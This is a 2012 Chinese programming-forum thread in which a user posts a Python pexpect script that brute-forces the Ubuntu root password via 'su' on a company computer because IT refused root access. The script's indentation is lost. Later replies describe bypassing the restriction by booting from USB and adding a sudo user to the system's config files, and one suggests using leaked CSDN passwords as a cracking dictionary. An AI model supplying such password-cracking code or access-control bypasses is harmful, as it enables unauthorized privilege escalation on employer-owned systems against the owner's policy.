[d]python 尝试破解ubuntu root 密码

思棉叶 2012-09-14 08:54:33
最近在公司想安装几个软件,但苦于没有root权限,IT又太不给力了,所以就突发奇想写个脚本尝试破解root。但在执行脚本的过程中,电脑过一段时间就会死机了。这个是系统防破解的自卫方式吗?但我在我电脑上跑了一天都没出现这种情况啊,有了解这方面的同学给点意见。给出我的code,暴力破解,见笑了各位,嘿嘿

#!/usr/bin/python

import os
import pexpect
import string

flag = True
while(flag):
for i in 'abcdefABCDEFGHJghrjklmn0123456789opqrstuvwxyzKLMNQRSTUVWXYZ#':
for j in 'abcdefghrjklmnopqrstuv0123456789wxyzABCDEFGHJKLMNQRSTUVWXYZ#':
for k in '0123456789abcdefghrjklmnopqrstuvwxyzABCDEFGHJKLMNQRSTUVWXYZ#':
for l in 'abcdefghrj0123456789klmnopqrstuvwxyzABCDEFGHJKLMNQRSTUVWXYZ#':
for m in '0123456789abcdefghrjklmnopqrstuvwxyzABCDEFGHJKLMNQRSTUVWXYZ#':
for n in '0123456789abcdefghrjklmnopqrstuvwxyzABCDEFGHJKLMNQRSTUVWXYZ#':
for p in '012345678abcdefghrjklmnopqrstuvwxyzABCDEFGHJKLMNOQRSTUVWXYZ#':
for s in '0123456abcdefghrjklmnopqrstuvwxyzABCDEFGHJKLMNQRSTUVWXYZ#':
print '---------su-------------'
breakroot=pexpect.spawn('su')
breakroot.expect('Password')
print i+j+k+l+m+n+p+s
trypassword=i+j+k+l+m+n+p+s
breakroot.sendline(trypassword)
try:
print '--------password=%s'%trypassword
os.chdir('/etc')
os.mkdir('testbreak')
sys.exit()
except OSError:
continue
--------------------
Double行动:
原帖分数:40
帖子加分:40
...全文
491 17 打赏 收藏 转发到动态 举报
AI 作业
写回复
用AI写文章
17 条回复
切换为时间正序
请发表友善的回复…
发表回复
jtkkjtkk 2012-10-11
  • 打赏
  • 举报
回复
光盘启动
网络启动
把硬盘挂到别的机子上
jtkkjtkk 2012-10-11
  • 打赏
  • 举报
回复
呵呵,这让我想到:
在网上把CSDN泄露的用户名和密码作字典,暴力破解,估计成功率会不低:-)

isurgit 2012-09-29
  • 打赏
  • 举报
回复
U盘也被禁了呢?
「已注销」 2012-09-28
  • 打赏
  • 举报
回复
[Quote=引用 10 楼 的回复:]

引用 8 楼 的回复:

引用 7 楼 的回复:
不清除,现在问题解决了,不过是通过别的途径,嘿嘿

恭喜,分享一下?


先从优盘启动linux系统,找到配置root用户的文件,在里面添加了一个有sudo权限的新用户,然后拔掉优盘,重新从硬盘启动就可以了。这是你用刚才添加的用户名,就有了sudo权限咯。其实问题的关键就是一般用户是没有权限修改配置用户root权限的文件。我从……
[/Quote]你的Linux文件系统没有加密?
坚强的豁着 2012-09-24
  • 打赏
  • 举报
回复
[Quote=引用 10 楼 的回复:]

引用 8 楼 的回复:

引用 7 楼 的回复:
不清除,现在问题解决了,不过是通过别的途径,嘿嘿

恭喜,分享一下?


先从优盘启动linux系统,找到配置root用户的文件,在里面添加了一个有sudo权限的新用户,然后拔掉优盘,重新从硬盘启动就可以了。这是你用刚才添加的用户名,就有了sudo权限咯。其实问题的关键就是一般用户是没有权限修改配置用户root权限的文件。我从……
[/Quote]
怎么觉得跟Windows的方法差不多呀,哈哈
思棉叶 2012-09-24
  • 打赏
  • 举报
回复
[Quote=引用 8 楼 的回复:]

引用 7 楼 的回复:
不清除,现在问题解决了,不过是通过别的途径,嘿嘿

恭喜,分享一下?
[/Quote]

先从优盘启动linux系统,找到配置root用户的文件,在里面添加了一个有sudo权限的新用户,然后拔掉优盘,重新从硬盘启动就可以了。这是你用刚才添加的用户名,就有了sudo权限咯。其实问题的关键就是一般用户是没有权限修改配置用户root权限的文件。我从优盘启动的话,对配置文件就能进行写的操作了
Soul322fish 2012-09-24
  • 打赏
  • 举报
回复
[Quote=引用 1 楼 的回复:]

格式怎么调的啊?我选的是插入源代码啊
[/Quote]
需要在标签里面添加代码

#pythoncode
bugs2k 2012-09-15
  • 打赏
  • 举报
回复
[Quote=引用 8 楼 的回复:]

引用 7 楼 的回复:
不清除,现在问题解决了,不过是通过别的途径,嘿嘿

恭喜,分享一下?
[/Quote]
同享
Gloveing 2012-09-14
  • 打赏
  • 举报
回复
你公司内存/虚拟内存太小,不够?
思棉叶 2012-09-14
  • 打赏
  • 举报
回复
猜测是8位的,其他位数的暂时不考虑
Gloveing 2012-09-14
  • 打赏
  • 举报
回复
[Quote=引用 3 楼 的回复:]
口令一定是6位的么?
[/Quote]
一定是8位的么?i+j+k+l+m+n+p+s ??
Gloveing 2012-09-14
  • 打赏
  • 举报
回复
口令一定是6位的么?
Gloveing 2012-09-14
  • 打赏
  • 举报
回复
[Quote=引用 1 楼 的回复:]
格式怎么调的啊?我选的是插入源代码啊
[/Quote]
先选中你的代码,在点击插入源代码
思棉叶 2012-09-14
  • 打赏
  • 举报
回复
格式怎么调的啊?我选的是插入源代码啊
Gloveing 2012-09-14
  • 打赏
  • 举报
回复
[Quote=引用 7 楼 的回复:]
不清除,现在问题解决了,不过是通过别的途径,嘿嘿
[/Quote]
恭喜,分享一下?
思棉叶 2012-09-14
  • 打赏
  • 举报
回复
不清除,现在问题解决了,不过是通过别的途径,嘿嘿

37,743

社区成员

发帖
与我相关
我的任务
社区描述
JavaScript,VBScript,AngleScript,ActionScript,Shell,Perl,Ruby,Lua,Tcl,Scala,MaxScript 等脚本语言交流。
社区管理员
  • 脚本语言(Perl/Python)社区
  • WuKongSecurity@BOB
加入社区
  • 近7日
  • 近30日
  • 至今

试试用AI创作助手写篇文章吧